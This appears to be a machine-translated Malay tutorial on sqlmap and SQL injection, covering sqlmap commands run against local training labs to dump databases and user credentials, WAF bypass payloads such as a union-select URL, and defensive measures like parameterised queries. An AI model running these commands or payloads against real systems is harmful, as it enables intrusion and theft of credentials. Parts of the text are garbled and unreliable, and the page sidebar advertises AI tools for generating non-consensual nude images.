


Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi
Bahagian 1: Menggunakan Sqlmap
1.1 Pengenalan kepada sqlmap
1 Saya menyebut beberapa penyataan asas suntikan sql sebelum ini, tetapi suntikan manual sangat menyusahkan sql injection. antara muka Pelayan yang memasuki pangkalan data. Ia mempunyai enjin pengesanan yang sangat berkuasa, penguji penembusan dengan pelbagai ciri, akses kepada sistem fail asas melalui cap jari pangkalan data dan pelaksanaan perintah melalui sambungan luar jalur.
Tapak web rasmi: sqlmap.org
(2)#Pangkalan data yang disokong:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, MicrosoftAkses, IBM DB2, SQLite, Firebird, Sybase dan SAP MAXDB.
#UNION query SQL injection (boleh digabungkan dengan query injection)
#error-based SQL injection (error-reporting injection)
#Suntikan SQL buta berasaskan masa (suntikan kelewatan masa)
#Suntikan SQL pertanyaan bertindan (suntikan pertanyaan berbilang pernyataan)
Pemasangan 1.2 sqlmap dan pembinaan persekitaran
1. Langkah utama pemasangan sqlmap
sqlmap lebih serasi dengan Python2 Namun, apa yang perlu diubah ialah laluan pemasangan sqlmap Di sini ia ditukar kepada C:UsersAdministratorpython Untuk terus memasuki direktori sqlmap dari baris arahan untuk operasi yang lebih mudah)
(2) Jangan pasang Python ke laluan Cina, dan Tambah Python pada pembolehubah persekitaran. .
(3) Muat turun dan pasang sqlmap, ubah suai direktori pemasangan kepada C:UsersAdministratorsqlmap
(4) Uji persekitaran python: Masukkan baris arahan cmd, masukkan python,
python
Python 2.7.16(v2.7.16:413a49145e, 4 Mac 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] pada win32 Taip "help", "copyright" , " kredit" atau "lesen" untuk maklumat lanjut.
>>> keluar (); h (perhatikan laluan) C:UsersAdministratorsqlmap>
sqlmap.py -h
1.3 sqlmap parameter biasa
#(1) Dapatkan nama perpustakaan, nama lajur, kebenaran
--dbms mysql #Nyatakan jenis pangkalan data
- --pengguna #Semua pengguna pangkalan data (nama pengguna tempatan pangkalan data)
- - -kata laluan #Dapatkan kata laluan pangkalan data, (hanya boleh dibaca jika anda mempunyai kebenaran)
- --teknik #Nyatakan jenis suntikan yang hendak digunakan
- -- current-db #Pangkalan data semasa
- --banner #Dapatkan pengenalan pangkalan data
- -D database_name --tables #-D digunakan untuk menentukan data ,--tables mendapatkan jadual di bawah perpustakaan tertentu
- -D nama_pangkalan data -T nama_jadual --lajur #-T menentukan nama jadual,--lajur mendapat medan lajur
- -D nama_pangkalan data -T nama_jadual -C column_1,column_2 --dump #-C menentukan nama medan, --dump memaparkan hasil
- -- pengguna #Lajur pengguna pengurusan pangkalan data apabila pengguna semasa mempunyai kebenaran untuk membaca jadual yang mengandungi semua pengguna, semua pengguna pengurusan boleh disenaraikan.
-
--pengguna semasa #Pengguna yang menguruskan data boleh diperolehi dalam kebanyakan pangkalan data. - --is-dba #Tentukan sama ada pengguna semasa adalah pengurusan, jika ya, Benar akan dikembalikan.
- --keistimewaan #Apabila pengguna semasa mempunyai kebenaran untuk membaca jadual yang mengandungi semua pengguna, ia mungkin menyenaraikan kebenaran setiap pengguna dan sqlmap akan memberitahu anda yang mana satu milik pentadbir Super pangkalan data. Anda juga boleh menggunakan parameter -U untuk menentukan kebenaran pengguna yang anda mahu lihat.
- --proksi #Nyatakan pelayan proksi cth: –proksi http://local:8080
- #(2) Tentukan awalan dan akhiran:
-
#sqlmap tidak dapat mengesan banyak aksara gangguan Anda boleh menentukan awalan dan akhiran secara manual apabila menutup
pilih * daripada pengguna di mana id=((('. 1 '))) dan 1=1
#--prefix=PREFIX Inject awalan rentetan muatan
#--suffix=SUFFIX Inject akhiran Rentetan muatan
cth: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"
--suffix "AND ('1'= '1"
#(3) Hasil eksport:
sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one. php "
--batch automatik sepenuhnya
--start=start number--stop=end number
--buang data eksport
--buang-semua eksport semua data
--purge-output/ -- bersihkan Kosongkan direktori cache
--sql-shell Rebound sqlshell, serupa dengan sql query analyzer Default path.sqlmap (klik sqlmap)
1.4 contoh praktikal sqlmap
#Less-1--Less65 pernyataan umum (ini ialah parameter yang paling biasa digunakan, mesti difahami)
#(1) Dapatkan semua nama perpustakaan
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms= mysql --batch#Parsing:
-u diikuti dengan url, menunjukkan url ujian
--dbs menunjukkan mendapatkan semua pangkalan data
-- dbms bermaksud jenis pangkalan data yang ditentukan ialah mysql
--batch bermaksud mendapatkan secara automatik
-D keselamatan --tables bermaksud untuk mendapatkan nama jadual pangkalan data yang ditentukan sebagai keselamatan
-D keselamatan -T pengguna --lajur bermaksud untuk mendapatkan nama lajur dalam jadual pengguna dalam pangkalan data yang ditentukan sebagai keselamatan
-D keselamatan -T pengguna -C nama pengguna,kata laluan --buang #Dapatkan perpustakaan keselamatan, pengguna Maklumat data medan nama pengguna dan kata laluan dalam jadual, --dump bermaksud hasil paparan
#Keputusan:
[*] cabaran
[*] dvwa
[* ] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test#(2) Dapatkan nama perpustakaan semasa
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db -- batch
#Result:
pangkalan data semasa: 'security'#(3) Dapatkan nama jadual semasa
C:UsersAdministratorsqlmap> python sqlmap.py -u " http://localhost/sqli/Less-1?id=1" -D keselamatan --tables --batch#Result:
Pangkalan data: keselamatan
[ 4 jadual]
+---------+
| e-mel |
|pengguna |
| 🎜>+---- ------+#(4) Dapatkan nama lajur semasa
#Result:
C:UsersAdministratorsqlmap>python sqlmap.py - u "http://localhost/ sqli/Less-1?id=1" -D keselamatan -T pengguna --columns --batchPangkalan data: keselamatanJadual: pengguna
#(5) Dapatkan jadual pengguna Kandungan nama pengguna dan kata laluan
[3 lajur]
+----------+------------+
| Jenis Lajur |
+--- -------+-----------+
| id |
| ) |
|. nama pengguna | varchar(20) |
+----------+------------+C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D keselamatan -T pengguna -C nama pengguna,kata laluan - -dump --batch
#Keputusan:Pangkalan data: keselamatanJadual: pengguna
[13 entri]
+------ ---+----------------+
| nama pengguna |
+--------. -+-----------+
|. Bodoh |
| |.
|. kebodohan |
| |. admin2 |
|. admin3 |
|. ----+
No. Bahagian 2: Pintasan WAF untuk suntikan sqli
2.1 Pengenalan kepada kaedah pintasan WAF untuk suntikan SQL
Nota: Ini hanya contoh untuk menggambarkan kaedah pintasan, senario sebenar adalah lebih rumit Lagi Kaedah pintasan boleh dicampur dan dikodkan.
1. Selepas mengetahui kaedah suntikan sql, bagaimana kita boleh menghalang suntikan sql?#(1) Tapis aksara ulasan
#(2) Tapis dan atau atau
- #(3) Penapis pilih atau penyatuan
- #(4) Penapis senarai hitam
- Apakah kaedah yang ditapis dan/atau pintasan ?
- #(1) Mysql tidak sensitif huruf besar dan boleh dilaksanakan dengan betul;===>Ubah bentuk kes guna
#(2) mysql menyokong perenambelasan, gunakan pengekodan perenambelasan atau URL
#(3) Gantikan perkataan dengan simbol = ==> dan(&&) atau(||)
#(4) Komen sebaris dan komen berbilang baris===>Tambahkan ulasan dalam perkataan sensitif a/**/nd Double write bypass oORr
3 Sudah tentu ada kaedah lain Mari kita ambil kaedah penapisan ini sebagai contoh untuk bercakap tentang cara memintas.
Terdapat waf. peranti dalam senario sebenar, dan waf sebenarnya menghalang suntikan sql dengan menapis beberapa kata kunci
2.2 percubaan waf pintasan suntikan SQL
1
#(1) Sebab untuk menapis aksara ulasan: Untuk pernyataan SQL biasa, aksara ulasan memainkan peranan deskriptif. Walau bagaimanapun, dalam proses mengeksploitasi kelemahan suntikan SQL, aksara ulasan memainkan peranan untuk menutup petikan tunggal, petikan tunggal berbilang, petikan berganda, kurungan tunggal dan berbilang kurungan.Ulasan satu baris: --+ atau --space atau #
#(2) Fungsi penapis preg_replace
Ulasan berbilang baris: /* Kandungan ulasan berbilang baris* /preg_replace(campuran $corak, campuran $penggantian, campuran $subjek): Lakukan carian dan penggantian ungkapan biasa.
$pattern: Corak untuk dicari, yang boleh berupa rentetan atau tatasusunan rentetan
$replacement: Rentetan atau tatasusunan rentetan yang digunakan untuk penggantian.
$subject: Rentetan sasaran atau tatasusunan rentetan untuk dicari dan diganti.
#(3) Pintasan anotasi:Menggunakan anotasi untuk menapis tidak boleh berjaya menutup petikan tunggal, dsb., gunakan cara pemikiran dan penggunaan lain atau '1'= '1 Menutup petikan tunggal, dsb.
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
2. Bagaimana untuk memintas ditapis dan atau atau (Kurang-25 sebagai contoh) (1) Analisis kod sumber: Anda boleh melihat itu atau atau dan digantikan dengan kosong
(2) Langkah operasi
3. Bagaimana untuk memintas ruang yang ditapis? contoh )(1) Gunakan %0a sebagai ruang
4. Bagaimana untuk memintas pilihan/penyatuan yang ditapis? )
Bahagian Tiga: SQL Injection Defense 3.1 SQL Injection Defense Kaedah 1. Langkah perlindungan biasa: #(1), matikan gesaan ralat: display_errors=Off#(2) dalam fail konfigurasi PHP php.ini, petikan ajaib ( Kesan yang sama seperti addslashes): Apabila magic_quotes_gpc=Hidup dalam php.ini. Semua petikan tunggal ('), petikan berganda ("), garis miring ke belakang () dan NUL (aksara NULL) dalam pembolehubah yang diserahkan akan ditukar secara automatik kepada aksara melarikan diri yang mengandungi garis miring ke belakang
#(3), data Penapis kanan: Contohnya, tapis kata kunci biasa seperti dan/atau/kesatuan
#(4) Kawal kebenaran pengguna untuk menyambung ke pangkalan data: Setiap perpustakaan menetapkan pentadbir untuk satu perpustakaan, jangan gunakan kebenaran root.
#(5). ), Prapemprosesan dan parameterisasi (PDO): Memproses parameter yang dihantar oleh pengguna dan mengembalikan nilai Boolean, bukannya hanya "menghubungkan" data, dengan itu mengelakkan suntikan SQL
#(6), Langkah-langkah perlindungan perkakasan (WAF dan perkakasan lain)
Atas ialah kandungan terperinci Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Gunakan sqlmap untuk mengautomasikan suntikan ke dalam dvwa, tetapkan tahap dvwa kepada rendah, buka SQLInjection (SQLInjection(Blind) dvwa), buka penyahpepijatan pelayar, masukkan id pengguna dan serahkan, dan lihat permintaan yang dipintas. Anda boleh melihat bahawa ia adalah permintaan GET, url "http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" Kami terus memasukkannya ke dalam salmap untuk mengujinya, gunakan - u perintah -u"http ://192.168.1.22

Gambaran Keseluruhan 0x00 Baru-baru ini, saya mengalami fenomena aneh apabila menggunakan ujian suntikan sqlmap Versi sqlmap yang lebih tinggi tidak dapat mengesan suntikan, tetapi versi yang lebih rendah boleh mengesan suntikan, dan data boleh kehabisan, yang bukan penggera palsu ujian perbandingan dan melihat kod sumber sqlmap, Menjumpai dua lubang kecil. Format titik suntikan pembiakan senario 0x01: json..."whereparams":[{"name":"keyWord","value":"test"}]} Parameter boleh suntikan: perintah valuesqlmap: pythonsqlmap.py-rsqlpk.txt– flush -session-vvsqlmapv1.2.11 tidak boleh menyuntik s

Bahagian Pertama: Menggunakan Sqlmap 1.1 Pengenalan kepada sqlmap 1. Saya menyebut beberapa pernyataan asas suntikan sql, tetapi suntikan manual sangat menyusahkan Kita boleh menggunakan sqlmap, alat suntikan sql yang berkuasa, untuk mendapatkan data. # sqlmap ialah alat ujian penembusan sumber terbuka yang secara automatik boleh mengesan dan mengeksploitasi kelemahan suntikan SQL dan pelayan yang disambungkan ke pangkalan data. Ia mempunyai enjin pengesanan yang sangat berkuasa, penguji penembusan dengan pelbagai ciri, akses kepada sistem fail asas melalui cap jari pangkalan data dan pelaksanaan perintah melalui sambungan luar jalur. Tapak web rasmi: sqlmap.org(2)#Pangkalan data yang disokong: MySQL, Oracle, PostgreS

Kerana perlu untuk menjalankan ujian penembusan pada tapak web luaran, kebanyakan tapak web mempunyai kawalan kekerapan capaian Setelah kekerapan ini melebihi, IP akan diharamkan secara langsung. Terutama apabila SQLMAP sedang berjalan, ia lebih "merah makcik", dan ralat dilaporkan dan keluar sebelum SQLMAP selesai dijalankan. Jadi saya mula mengkaji mod proksi SQLMAP mempunyai dua mod proksi, satu proksi biasa (proksi HTTP) dan satu lagi proksi bawang. Saya pada asalnya ingin menulis tentang permohonan ejen biasa, tetapi Baidu melihat bahawa artikel ini cukup terperinci dan berhenti bercakap kosong. Sambungan Sqlmap - Pelaksanaan kumpulan proksi IP luaran Mari fokus pada proksi bawang Pada mulanya, apabila bawang digunakan secara langsung untuk suntikan, tiada laporan "makcik merah" Kemudian, apabila bilangan tapak web yang ditembusi meningkat.

1. Prakata Bagaimana untuk mengesan suntikan SQL? Jawapan saya ialah: Apabila Pihak A melakukan keselamatan, pengesanan suntikan SQL agak mudah dilakukan. 1) Ralat pengesanan suntikan. 2) Jangan menyuntik laporan ralat bool kerana positif palsu agak tinggi. 3) Lakukan suntikan masa berdasarkan masa, operasi hubungan dan penyelenggaraan untuk melakukan rakaman db log perlahan, memantau tidur dan pemantauan kata kunci penanda aras Anda boleh menambah nombor ID tugas pengimbasan pada titik perpuluhan masa tidur untuk memudahkan kedudukan. (p.s. Kaedah ini boleh menemui 99% suntikan SQL) Oleh itu, apabila melakukan suntikan masa berasaskan masa, saya mengehadkan ralat masa dengan sangat keras. Walau bagaimanapun, @chengable sedang melakukan kerja berkaitan keselamatan dalam Parti B, berdasarkan t

Terdapat terlalu sedikit artikel yang berkaitan tentang suntikan dns untuk sqlmap di Internet. Mereka hanya memperkenalkan secara ringkas parameter --dns-domain Artikel praktikal yang berkaitan sama ada kabur atau disebut dalam satu pukulan, yang mengelirukan (terutamanya tidak jujur. belum lagi Big boss). Kemudian saya melakukannya sekali lagi dengan merujuk kepada kaedah di Internet. Perkara yang perlu disediakan termasuk satu sqlmap, windows blind injection, dua nama domain dan pelayan rangkaian luaran. Suatu ketika saya sedang melakukan sesuatu, saya terjumpa suntikan buta masa Ia adalah mesin Windows, dan saya teringat kaedah suntikan dns. Sebelum memulakan, saya merancang untuk menggunakan perintah --sql-shell sqlmap untuk menguji muatan suntikan dns Pertama, pergi ke burpsuite.

Apabila saya menguji APP syarikat, saya mendapati bahawa kami menambahkan aksara 32-bit pada semua kandungan parameter dan akhirnya melakukan penyulitan MD5. Memandangkan proses pemprosesan APP terlebih dahulu mengesahkan sama ada tanda itu betul, jika pengesahan tandatangan gagal, ia tidak akan dapat memasuki pangkalan data sama sekali Untuk menggunakan SQLMAP untuk mengujinya, saya menulis skrip untuk data proksi paket data, lakukan penggantian yang disulitkan bagi kandungan parameternya dan 32 aksara. Nota: Skrip ini sesuai untuk sistem dalaman syarikat, kerana anda boleh mengetahui proses penyulitan atau anda boleh mendapatkan kaedah penyulitan JS bahagian hadapan. Pertama, saya menulis program menggunakan Django untuk mensimulasikan sistem syarikat Prosesnya adalah untuk mendapatkan ID POST dan token, dan menambah perkataan yang disulitkan tersuai.

sqlmap membaca dan menulis fail –fail-baca: membaca fail daripada sistem fail sistem pengurusan pangkalan data belakang –fail-tulis: mengedit fail tempatan pada sistem fail sistem pengurusan pangkalan data belakang (menulis dari tempatan) –file-dest : Laluan mutlak ke fail yang ditulis oleh sistem pengurusan pangkalan data bahagian belakang (tulis laluan sasaran Anda boleh menggunakan arahan di atas untuk membaca dan menulis fail sistem selepas suntikan SQL, tetapi prasyaratnya ialah anda perlu membaca dan menulis). kebenaran dan menjadi kebenaran dba, jika tidak, operasi baca dan tulis tidak boleh dilakukan dengan jayanya. Mengambil DVWA sebagai contoh, bina DVWA di bawah kali untuk membaca dan menulis fail. Baca fail: Semak maklumat yang berkaitan dalam PHPinfo, gunakan -file-r
